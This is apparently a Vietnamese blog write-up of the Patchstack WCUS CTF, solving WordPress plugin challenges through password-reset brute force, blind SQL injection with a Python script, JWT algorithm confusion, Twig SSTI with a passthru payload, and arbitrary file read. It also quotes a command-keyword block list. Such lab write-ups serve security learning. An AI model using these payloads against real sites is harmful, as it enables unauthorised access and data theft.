+7

Writeup Patchstack WCUS CTF

Trong thời gian gần đây, Patchstack đã tổ chức cuộc thi Patchstack WCUS CTF, bao gồm 9 thử thách (challenge), tất cả đều tập trung vào việc khai thác các lỗ hổng bảo mật trong các plugin WordPress. Sau đây là một số writeup về các thử thách đó.

Tất cả các challenge đều được cung cấp dưới dạng whitebox.

WP Elevator

image.png

Trong challenge này, đề bài cung cấp cho chúng ta một plugin WordPress. Nhiệm vụ của chúng ta là gọi đúng endpoint để lấy được flag.

add_action("wp_ajax_patchstack_flagger", "flagger_request_callback");

function flagger_request_callback()
{
    // Validate nonce
    $nonce = isset($_REQUEST["nonce"])
        ? sanitize_text_field($_REQUEST["nonce"])
        : "";
    if (!wp_verify_nonce($nonce, "get_latest_posts_nonce")) {
        wp_send_json_error("Invalid nonce.");
        return;
    }
    $user = wp_get_current_user();
    $allowed_roles = ["administrator", "subscriber"];
    if (array_intersect($allowed_roles, $user->roles)) {
        $value = file_get_contents('/flag.txt');
        wp_send_json_success(["value" => $value]);
    } else {
        wp_send_json_error("Missing permission.");
    }
}

Vậy, chỉ cần chúng ta có được role administrator hoặc subscriber, chúng ta sẽ nhận được flag.

Nhưng làm thế nào để có thể đăng ký một tài khoản subscriber? Trong mã nguồn, có một đoạn code cho phép tạo người dùng mới với role subscriber.

function create_user_via_api($request)
{
    $parameters = $request->get_json_params();

    $username = sanitize_text_field($parameters["username"]);
    $email = sanitize_email($parameters["email"]);
    $password = wp_generate_password();

    // Create user
    $user_id = wp_create_user($username, $password, $email);

    if (is_wp_error($user_id)) {
        return new WP_Error(
            "user_creation_failed",
            __("User creation failed.", "text_domain"),
            ["status" => 500]
        );
    }

    // Add user role
    $user = new WP_User($user_id);
    $user->set_role("subscriber");

    return [
        "message" => __("User created successfully.", "text_domain"),
        "user_id" => $user_id,
    ];
}

Yêu cầu POST để tạo tài khoản mới:

POST /wp-json/user/v1/create HTTP/1.1
Content-Type: application/json

{
  "username": "newuser",
  "email": "newuser@example.com"
}

Tuy nhiên, khi tạo người dùng mới, chỉ có usernameemail được truyền đi, mà không có mật khẩu để đăng nhập. Plugin này còn cung cấp một tính năng khác là reset_password_key_callback(), cho phép yêu cầu reset mật khẩu cho bất kỳ tài khoản nào. Chúng ta có thể sử dụng $key được tạo từ get_password_reset_key2() để thực hiện việc reset mật khẩu.

Request yêu cầu reset password:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=reset_key&user_id=71

Tuy nhiên, $key được tạo ra chỉ có 1 ký tự duy nhất, điều này cho phép chúng ta brute force key để reset mật khẩu cho tài khoản subscriber vừa tạo.

$key = wp_generate_password(1, false);

Do môi trường của tôi không được cấu hình server mail, nên tôi gặp khó khăn trong việc xác định chính xác endpoint để reset mật khẩu bằng key. Sau khi tham khảo ChatGPT, tôi đã nhận được câu trả lời như sau:

image.png

Tôi đã thử sử dụng endpoint này để reset mật khẩu cho tài khoản subscriber.Tuy nhiên, sau đó tôi phát hiện ra một endpoint tốt hơn để thực hiện việc này.

POST /wp-login.php?action=resetpass HTTP/1.1
Content-Type: application/x-www-form-urlencoded

pass1=123&pw_weak=on&pass2=123&rp_key=R&wp-submit=Save+Password

Sau khi reset thành công và có được tài khoản subscriber, tôi tiếp tục gửi yêu cầu đến hàm get_latest_posts_callback để lấy giá trị nonce:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <subcriber>

action=get_latest_posts_callback

Khi đã có nonce, tôi chỉ cần gửi yêu cầu tới flagger_request_callback() và truyền giá trị nonce đó để nhận flag:

POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: <subcriber>
Content-Type: application/x-www-form-urlencoded

action=patchstack_flagger&nonce=b920667f1a

Link Manager

Đập vào mắt đầu tiên là đoạn code dễ dàng bị khai thác SQL Injection tại:

function get_link_data() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'links';
    $link_name = sanitize_text_field($_POST['link_name']);
    $order = sanitize_text_field($_POST['order']);
    $orderby = sanitize_text_field($_POST['orderby']);

    validate_order($order);
    validate_order_by($orderby);
    
    $results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order");

    if (!empty($results)) {
        wp_send_json_success($results);
    } else {
        wp_send_json_error('No data found.');
    }
}

Mặc dù có đoạn validate dữ liệu truyền vào, nhưng nó chỉ để đánh lừa và không thực sự ngăn chặn được SQL Injection. Chúng ta vẫn có thể khai thác lỗ hổng qua biến $orderby $order.

Để khai thác được lỗ hổng này, trước tiên cần thêm dữ liệu vào mà không cần xác thực thông qua hook sau:

add_action( 'wp_ajax_nopriv_submit_link', 'handle_ajax_link_submission' );

Chúng ta có thể gửi yêu cầu thêm dữ liệu và lấy giá trị nonce từ trang chủ, thông qua biến var ajaxNonce = 'bb01b00013';:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=submit_link&url=http://example.com&name=test&description=test&nonce=bb01b00013

Khai thác SQL Injection

Trong đoạn truy vấn SQL sau:

$results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order");

Chúng ta có thể khai thác SQL Injection qua order by, nhưng do response không hiển thị lỗi nên không thể sử dụng kỹ thuật error-based SQLi. Thay vào đó, có hai cách khai thác: time-based blind SQL Injection hoặc boolean-based blind SQL Injection.

Tôi đã chọn cách khai thác bằng boolean-based blind SQL Injection vì cách này nhanh hơn cho brute force. Payload sử dụng có dạng (cảm ơn người anh homie đã chia sẻ payload này):

(SELECT (CASE WHEN (1=1) THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))

Chỉ cần thay phần 1=1 bằng các điều kiện boolean hoặc time-based khác là được. Tôi đã chọn sử dụng boolean-based vì nó hiệu quả hơn trong trường hợp này.

Lưu ý: Công cụ sqlmap không thể khai thác lỗ hổng này do hạn chế trong việc gửi payload. Nếu có cách sử dụng tốt hơn, các bạn đọc có thể gợi ý thêm nhé. Vì không thể khai thác tự động bằng công cụ, tôi đành phải "manual" 😥.

Trong quá trình khai thác, tôi gặp hai vấn đề lớn:

  1. Không thể sử dụng dấu '.
  2. Không thể so sánh chuỗi.

Nguyên nhân không sử dụng được dấu ' là do tính năng Addslashes của WordPress mà tôi đã trình bày trong bài viết trước. Việc này cũng khiến không thể so sánh chuỗi một cách thông thường.

Giải pháp thay thế là sử dụng các hàm số để so sánh. Tôi chuyển qua so sánh bằng số và sử dụng hàm ASCII() để chuyển đổi ký tự sang mã số, đồng thời sử dụng hàm CHAR() để lấy tên cột. Flag của challenge này nằm trong bảng wp_options với tên cột là flag_links_data.

Với sự hỗ trợ của ChatGPT, tôi đã viết một script để khai thác lỗ hổng này:

import requests
import string

url = 'http://100.25.255.51:9097/wp-admin/admin-ajax.php'
target_table = ''

def test_sqli(payload):
    data = {
        'action': 'get_link_data',
        'link_name': 'test',
        'order': '',
        'orderby': payload
    }
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    response = requests.post(url, data=data, headers=headers)
    
    try:
        result = response.json()
        if result.get('success') == False:
            return False
        return True
    except ValueError:
        return False

def brute_force_flag_links_data():
    flag_value = ''
    char_set = string.ascii_letters + string.digits + string.punctuation

    while True:
        found = False
        for char in range(32, 127):
            payload = f"(SELECT (CASE WHEN (SELECT ASCII(SUBSTRING(option_value,{len(flag_value)+1},1)) FROM wordpress.wp_options WHERE option_name=CHAR(102,108,97,103,95,108,105,110,107,115,95,100,97,116,97)) = {char} THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))"
            if test_sqli(payload):
                flag_value += chr(char)
                print(f"Đã tìm thấy: {flag_value}")
                found = True
                break
        
        if not found:
            break

    print(f"Giá trị flag_links_data là: {flag_value}")
brute_force_flag_links_data()

JustinWonkyTokens

image.png

Đề bài cung cấp một plugin sử dụng JWT (JSON Web Token) để xác thực, và nhiệm vụ của chúng ta là lấy được JWT với role=admin để có được flag.

function simple_jwt_handler() {
    $flag = file_get_contents('/flag.txt');
    $privateKey = file_get_contents('/jwt.key');
    $publicKey = <<<EOD
    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqXfQ7ExnjmPJbSwuFoxw
    3kuBeE716YM5uXirwUb0OWB5RfACAx9yulBQJorcQIUdeRf+YpkQU5U8h3jVyeqw
    HzjOjNjM00CVFeogTnueHoose7Jcdi/K3NyYcFQINui7b6cGab8hMl6SgctwZu1l
    G0bk0VcqgafWFqSfIYZYw57GYhMnfPe7OR0Cvv1HBCD2nWYilDp/Hq3WUkaMWGsG
    UBMSNpC2C/3CzGOBV8tHWAUA8CFI99dHckMZCFJlKMWNQUQlTlF3WB1PnDNL4EPY
    YC+8DqJDSLCvFwI+DeqXG4B/DIYdJyhEgMdZfAKSbMJtsanOVjBLJx4hrNS42RNU
    dwIDAQAB
    -----END PUBLIC KEY-----
    EOD;

    $issuedAt = new DateTimeImmutable();
    $data = [
        "role" => "guest",
        "iat" => $issuedAt->getTimestamp(),
        "nbf" => $issuedAt->getTimestamp()
    ];

    if (!isset($_COOKIE['simple_jwt'])) {
        setcookie('simple_jwt', SimpleJWTHandler::encodeToken($data, $privateKey, 'RS256'));
        echo 'JWT has been set.';
    } else {
        $token = $_COOKIE['simple_jwt'];
        try {
            $decoded = SimpleJWTHandler::decodeToken($token, $publicKey);
            if ($decoded->role == 'admin') {
                echo 'Success: ' . $flag;
            } elseif ($decoded->role == 'guest') {
                echo 'Role is guest.';
            }
        } catch (Exception $e) {
            echo 'Token verification failed.';
        }
    }
}

Khi gửi yêu cầu tới wp-ajax.php với action=simple_jwt_handler, nếu không có giá trị $_COOKIE['simple_jwt'], plugin sẽ trả về một JWT với role=guest, được mã hóa bằng thuật toán RS256. Do chúng ta không biết được private.key, nên việc chỉnh sửa JWT để chuyển từ role=guest sang role=admin là không khả thi.

Tiếp theo, hãy kiểm tra hàm SimpleJWTHandler::decodeToken($token, $publicKey):

public static function decodeToken($token, $key = null, $verify = true)
{
    $segments = explode('.', $token);
    if (count($segments) != 3) {
        throw new UnexpectedValueException('Invalid token structure');
    }
    list($header64, $payload64, $signature64) = $segments;
    $header = self::jsonDecode(self::urlSafeBase64Decode($header64));
    $payload = self::jsonDecode(self::urlSafeBase64Decode($payload64));
    $signature = self::urlSafeBase64Decode($signature64);

    if ($verify) {
        if (empty($header->alg)) {
            throw new DomainException('Algorithm missing');
        }
        if (is_array($key)) {
            if (isset($header->kid)) {
                $key = $key[$header->kid];
            } else {
                throw new DomainException('Key ID missing');
            }
        }
        if (!self::verifySignature("$header64.$payload64", $signature, $key, $header->alg)) {
            throw new UnexpectedValueException('Signature verification failed');
        }
        if (isset($payload->exp) && time() >= $payload->exp) {
            throw new UnexpectedValueException('Token expired');
        }
    }
    return $payload;
}

Chúng ta thấy rằng hàm decodeToken sử dụng $token$publicKey để xác thực JWT. Tuy nhiên, có một lỗ hổng ở đây: thuật toán mã hóa JWT (alg) không được cố định mà được lấy từ header của JWT mà người dùng gửi vào. Điều này cho phép chúng ta thay đổi thuật toán mã hóa từ RS256 sang HS256. Với HS256, JWT sẽ sử dụng publicKey của server làm khóa bí mật để mã hóa thay vì privateKey.

Điều này có nghĩa là chúng ta có thể giả mạo JWT với role=admin bằng cách sử dụng thuật toán HS256 và ký lại JWT bằng publicKey mà server đã cung cấp.

Với lỗ hổng đã phát hiện, chúng ta chỉ cần chỉnh sửa một chút ở phần mã hóa JWT để có thể tạo ra một JWT với role=admin. Thay vì sử dụng thuật toán RS256, chúng ta sẽ chuyển sang sử dụng HS256 và ký lại JWT bằng publicKey mà server đã cung cấp.

Dưới đây là đoạn code đã được chỉnh sửa:

$data = [
    "role" => "admin",
    "iat" => $issuedAt->getTimestamp(),
    "nbf" => $issuedAt->getTimestamp()
];

if (!isset($_COOKIE['simple_jwt'])) {
    setcookie('simple_jwt', SimpleJWTHandler::encodeToken($data, $publicKey, 'HS256'));
    echo 'JWT has been set.';
}

Với đoạn mã này, chúng ta đã tạo được một JWT với role=admin, sử dụng thuật toán HS256publicKey từ server để ký lại JWT. Sau khi có được JWT này từ môi trường local, chỉ cần gửi JWT lên server bằng cách đính kèm nó vào Cookie, và gửi một request tới server. Nếu token đã được chỉnh sửa đúng cách, server sẽ xác thực JWT với role=admin và trả về flag.

Cụ thể, sau khi có JWT, bạn chỉ cần POST nó lên server thông qua:

POST /wp-ajax.php?action=simple_jwt_handler HTTP/1.1
Cookie: simple_jwt=<JWT đã chỉnh sửa>

Vậy là bạn sẽ nhận được flag

Timberlake

image.png

Đề bài cung cấp một theme WordPress với file index.php được sử dụng để hiển thị nội dung trang. Ở phần này, điểm cần chú ý là tham số page được truyền qua URL, và sau đó nội dung được render thông qua Timber::render($page, $context). Tuy nhiên, để có thể render file template thành công, tham số page phải qua hàm validate($_REQUEST['page']). Dưới đây, tôi sẽ giải thích chi tiết hơn các bước xử lý và các cơ chế bảo vệ của đoạn mã này.

Giải thích chi tiết các phần quan trọng:

  1. Cơ chế xác định template:

    $page = 'template-home.twig';
    if(isset($_REQUEST['page']) && validate($_REQUEST['page'])){
        $page = $_REQUEST['page'];
    };
    

    Trong đoạn này, biến $page sẽ nhận giá trị từ tham số page trong request nếu hàm validate() trả về true. Nếu không, mặc định template được sử dụng là template-home.twig. Điều này có nghĩa rằng để render một file khác, giá trị của tham số page phải thỏa mãn các điều kiện kiểm tra trong hàm validate().

  2. Hàm validate(): Đây là hàm kiểm tra quan trọng để đảm bảo file được truyền qua tham số page an toàn và hợp lệ. Các bước kiểm tra bao gồm:

    • Kiểm tra tên file:

      if (isset($filename) && !empty($filename) && !in_array($filename, array('.php', '.htm', '.html', '.phtml', '.xhtml'))) {
      

      Tên file phải không rỗng và không được nằm trong danh sách các file có phần mở rộng nguy hiểm như .php, .htm, .html, v.v. Điều này giúp ngăn chặn việc sử dụng các file có khả năng thực thi mã độc.

    • Kiểm tra nội dung file:

      if(is_timber_template(file_get_contents($fullPath)) === true) {
          if(is_valid_template(file_get_contents($fullPath)) === true) {
              return 1;             
          }
      }
      

      Sau khi xác định rằng tên file hợp lệ, nội dung của file sẽ được đọc và kiểm tra qua hai hàm is_timber_template()is_valid_template() để đảm bảo rằng file không chứa các đoạn mã nguy hiểm.

  3. Hàm is_timber_template():

    function is_timber_template($content) {
        $pattern = '/({{.*?}}|{%.*?%}|{#.*?#})/';
        if (preg_match($pattern, $content)) {
            return true;
        } else {
            return false;
        }
    }
    

    Hàm này kiểm tra xem file có chứa các biểu thức liên quan đến Timber template engine (như {{ }}, {% %}, hoặc {# #}). Nếu file có chứa các đoạn mã này, nó được coi là một template hợp lệ để Timber có thể render.

  4. Hàm is_valid_template():

    function is_valid_template($content) {
        $pattern = '/\b(filter|system|cat|bash|bin|exec|_self|env|dump|app|sort|tac|file_excerpt|\/bin|FILENAME)\b/i';
        if (preg_match($pattern, $content)) {
            return false;
        } else {
            return true;
        }
    }
    

    Hàm này kiểm tra xem nội dung file có chứa các từ khóa nguy hiểm như system, exec, cat, bash, env, v.v. Đây là các từ khóa có thể liên quan đến việc thực thi lệnh hệ thống hoặc thao tác với file, vì vậy nếu chúng xuất hiện, file sẽ bị từ chối để tránh các cuộc tấn công RCE (Remote Code Execution).

Cách khai thác tiềm năng:

Tuy đoạn mã đã có các cơ chế kiểm tra để ngăn chặn việc sử dụng các file nguy hiểm hoặc nội dung độc hại, nhưng có thể tận dụng nếu biết trước các tên file hợp lệ trên server. Cụ thể:

  • SSTI (Server-Side Template Injection): Do tham số page được sử dụng để render file template bằng Timber, nếu có thể đoán được tên file template hợp lệ, có thể khai thác SSTI. Tuy nhiên, do có các biện pháp kiểm tra nội dung template qua hàm is_timber_template()is_valid_template(), việc trực tiếp thực hiện RCE bằng SSTI qua các từ khóa nguy hiểm như system hay exec là khó thực hiện.

  • Bypass validate(): Để vượt qua hàm validate(), bạn cần cung cấp giá trị page với một tên file chính xác, không chứa phần mở rộng bị cấm, và không chứa các từ khóa bị cấm trong nội dung.

Phân tích tiếp theo

Trong đoạn code mà bài viết đề cập, có một chức năng lưu trữ dữ liệu vào session thông qua hàm save_session(). Điểm đáng chú ý là dữ liệu từ request có thể được lưu vào file session trên server thông qua hàm session_start(), và file này sẽ nằm trong thư mục /tmp, điều này có thể dẫn đến một khả năng khai thác thú vị.

Phân tích chi tiết đoạn code save_session():

function save_session() {
    start_session();
    if (isset($_REQUEST['session_data'])) {
        $_SESSION['session_data'] = stripslashes($_REQUEST['session_data']);
        wp_send_json_success('Data is saved to session.');
    } else {
        wp_send_json_error('Some error happened.');
    }
}
add_action('wp_ajax_save_session', 'save_session');
add_action('wp_ajax_nopriv_save_session', 'save_session');
  1. Hàm save_session():

    • Hàm này sẽ bắt đầu một session với start_session().
    • Nếu có tham số session_data được gửi thông qua request, nó sẽ lưu dữ liệu đó vào biến $_SESSION['session_data'] và phản hồi lại client thông qua JSON rằng dữ liệu đã được lưu thành công. Nếu không có tham số này, nó sẽ trả về lỗi.
  2. Session file:

    • Khi hàm start_session() được gọi, một file session sẽ được tạo ra trong thư mục /tmp với tên dạng sess_xxx, trong đó xxx là session ID.
    • Dữ liệu được lưu trữ trong session sẽ được ghi vào file này. Điều này bao gồm cả nội dung của $_SESSION['session_data'], tức là giá trị của $_REQUEST['session_data'] sẽ được ghi vào file session trong thư mục /tmp.

Khai thác khả năng lưu SSTI vào session file:

Dựa trên cơ chế xử lý này, chúng ta có thể lợi dụng để lưu một payload khai thác SSTI vào file session trong thư mục /tmp. Như đã phân tích ở phần trước, hàm validate() trong bài kiểm tra các điều kiện để quyết định xem file nào có thể được render bởi Timber. Điều quan trọng là hàm này cho phép truy cập vào các file nằm trong thư mục /tmp, vì Timber đã được cấu hình để tìm kiếm template ở cả thư mục /tmptemplates thông qua đoạn code:

Timber::$dirname = array('../../../../../../../../../../../../tmp', 'templates');

Điều này có nghĩa là, nếu chúng ta lưu một payload SSTI hợp lệ vào file session, chúng ta có thể lợi dụng để Timber render file đó như một template và kích hoạt lỗ hổng SSTI.

Cách khai thác:

  1. Lưu payload SSTI vào session file:

    Chúng ta có thể gửi một request tới action save_session với tham số session_data chứa payload SSTI.

    Payload SSTI:

    {{['grep . /flag.txt']|map('passthru')}}}
    

    Do ở đây hàm filter có chặn những từ khoá như system, cat, .v.v.. nên sử dụng payload trên thì 👌

    Gửi request để lưu payload này vào session:

    POST /wp-admin/admin-ajax.php?action=save_session
    Content-Type: application/x-www-form-urlencoded
    
    session_data={{['grep . /flag.txt']|map('passthru')}}}
    
  2. Xác định tên file session:

    File session sẽ có tên dạng sess_<session_id>. Session ID này có thể được lấy từ cookie của trình duyệt sau khi gửi request đầu tiên hoặc bằng cách tìm session ID trực tiếp trên server (nếu có quyền truy cập).

  3. Render file session:

    • Sau khi lưu payload vào session file, chúng ta có thể thực hiện cuộc tấn công SSTI bằng cách gửi request đến endpoint với tham số page trỏ đến file session vừa tạo. Tên file session sẽ là sess_<session_id>.
    GET /wp-admin/admin-ajax.php?page=sess_<session_id>
    

    Và đọc được flag

image.png

Texting Trouble

image.png

Với challeng này, chúng ta cùng phân tích hàm send_message_callback()

 public function send_message_callback() {             

         $error = 0;                                  

         $formdata = $_POST['formdata'];
         parse_str($formdata, $output);
         $message     = sanitize_textarea_field($output['jotac-plugin-messages']['jot-message']);
         $mess_type   = sanitize_text_field($output['jotac-plugin-messages']['jot-message-type']);
         $mess_suffix = sanitize_text_field($output['jotac-plugin-messages']['jot-message-suffix']);
         $mess_attachment = sanitize_text_field($output['jotac-plugin-messages']['jot-attachment']);
         $jotmemkey = sanitize_text_field($_POST['jotmemid']);
         $jotseckey = sanitize_text_field($_POST['sec']);

         if (!empty($jotmemkey)) {
             list($jotgrpid,$jotmemid) = explode("-", $jotmemkey, 2);
             $member = $this->get_member($jotmemid);
         }
         if (empty($jotseckey) || JOTAC_Plugin()->key!==$jotseckey) {
             // Bail out
             die();       
         }
        if (empty($message)) {
             // Empty message
             $error = 3;       
         }   					 

         if ($error == 0) {
               if (JOTAC_Plugin()->currentsmsprovider) {

                     // Save message type
                     $smsmessage =  get_option('jotac-plugin-messages');
                     $smsmessage['jot-message-type'] = $mess_type;

                     // Save message suffix
                     $smsmessage['jot-message-suffix'] = $mess_suffix;

                     // Save message content
                     $smsmessage['jot-message'] = $message;

                     update_option('jotac-plugin-messages',$smsmessage);

                     // Replace tags in message
                     $message = $this->get_replace_tags($message,$member);

                     // Append Message suffix
                     if (!empty($mess_suffix)) {
                           $fullmessage = $message . " " . $mess_suffix ;                     
                     } else {
                           $fullmessage = $message;    
                     }

                     // Optional attachment
                     if (!empty($mess_attachment)) {
                        if (preg_match('/^[a-zA-Z]+:\/\//', $mess_attachment)) {
                            $error = 6;
                            $additional_error = "Incorrect format";
                        }
                        $allowed_extensions = ['txt','png','jpg','pdf'];
                        if (!in_array(pathinfo($mess_attachment, PATHINFO_EXTENSION), $allowed_extensions)) {
                                $error = 6;
                                $additional_error = "Filetype not supported";
                        }
                        else {
                            $wp_dir = wp_upload_dir();
                            $attachment_fp = $wp_dir['basedir'] . '/attachments/' . $mess_attachment;
                            $available_files = array_diff(scandir(dirname($attachment_fp)), array('.', '..'));
                            $existing_files = [];
                            foreach ($available_files as $f) {
                                $existing_files[] = $f;
                            }

                            if (in_array(basename($attachment_fp), $existing_files)) {
                                $attachment_raw = file_get_contents($attachment_fp);
                            } else {
                                $error = 6;
                                $additional_error = "File does not exist among [".implode(', ', $existing_files)."]";
                            }

                        }


                     }

                     $fullmessage = apply_filters('jot-send-message-messagetext',$fullmessage);

                     if (!empty($member)) {
                            $message_type = sanitize_text_field($output['jotac-plugin-messages']['jot-message-type']);
                            switch ( $message_type  ) {
                               case 'jot-sms';
                                  $message_error = JOTAC_Plugin()->currentsmsprovider->send_smsmessage($member['jot_grpmemnum'],$fullmessage,$attachment_raw);
                               break;
                               case 'jot-call';
                                  $message_error = JOTAC_Plugin()->currentsmsprovider->send_callmessage($member['jot_grpmemnum'],$fullmessage);
                               break;
                            }
                     }
                     if ($message_error['send_message_errorcode'] != 0) {
                            //An error occurred sending the message
                            $error = 999;
                     }
                     $all_send_errors[] = $message_error;


               } else {
                         $error = 1;
               }
         }

Tại đây có thể thấy được đoạn code

$attachment_raw = file_get_contents($attachment_fp);

có thể tấn công được thông qua file_get_contents() để đọc flag. Hàm này được sử dụng để đọc nội dung file đính kèm từ đường dẫn $attachment_fp. Nếu chúng ta có thể kiểm soát đầu vào của biến $mess_attachment, việc chỉ định một file cụ thể, như /flag.txt, sẽ cho phép hệ thống đọc nội dung của file đó thông qua file_get_contents().

Phân tích lỗ hổng trong hàm send_message_callback() và khai thác qua file_get_contents()

Dữ liệu từ $_POST['formdata'] được xử lý bằng các hàm như sanitize_textarea_field()sanitize_text_field(), bao gồm giá trị mess_attachment. Hệ thống kiểm tra xem file đính kèm có tồn tại trong thư mục /attachments/ và có định dạng hợp lệ hay không. Tuy nhiên, nếu chỉ định một đường dẫn trực tiếp đến file nhạy cảm như /flag.txt, hàm file_get_contents() vẫn có thể đọc được nội dung của file này nếu nó tồn tại trên hệ thống.

Sau khi nội dung file được đọc, nếu xảy ra lỗi trong quá trình gửi tin nhắn, chẳng hạn do nhà cung cấp dịch vụ SMS, hệ thống sẽ trả về thông báo lỗi chứa thông tin về file vừa đọc. Lỗ hổng này tạo ra cơ hội để trích xuất thông tin nhạy cảm từ file mà không cần phải vượt qua các rào cản bảo mật khác.

Chúng ta có thể khai thác bằng cách gửi một yêu cầu POST tới hệ thống với giá trị mess_attachment trỏ trực tiếp đến file /flag.txt. Nếu có lỗi phát sinh trong quá trình gửi tin nhắn (như trong trường hợp nhà cung cấp dịch vụ SMS không khả dụng), nội dung của file flag sẽ được trả về dưới dạng một phần của thông báo lỗi. Bằng cách này, chúng ta có thể dễ dàng đọc được flag mà không cần phải vượt qua các kiểm tra file loại bỏ thông thường.

Khai thác:

  1. Gửi yêu cầu với mess_attachment trỏ đến file flag /flag.txt:

    POST /wp-admin/admin-ajax.php?action=send_message
    Content-Type: application/x-www-form-urlencoded
    
    formdata=jotac-plugin-messages[jot-message]=test_message&jotac-plugin-messages[jot-message-type]=jot-sms&jotac-plugin-messages[jot-attachment]=/flag.txt&sec=6AGmIzDZktwJCaQt
    

    Với giá trị sec được lấy từ

     public function __construct () {
    
         $this->product = "JOTAC SMS";						
         $this->token = 'jotac-plugin';
         $this->key = '6AGmIzDZktwJCaQt';
         $this->version = '4.0.0'; 
         $this->debug = false;			
    
  2. Khi xảy ra lỗi trong quá trình gửi tin nhắn (trong case 'jot-sms'), nội dung của file flag được lưu trong $attachment_raw sẽ xuất hiện trong phản hồi lỗi trả về từ server.

Phần tiếp theo bạn đọc đọc tại đây https://viblo.asia/p/writeup-patchstack-wcus-ctf-obA46w1BJKv


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí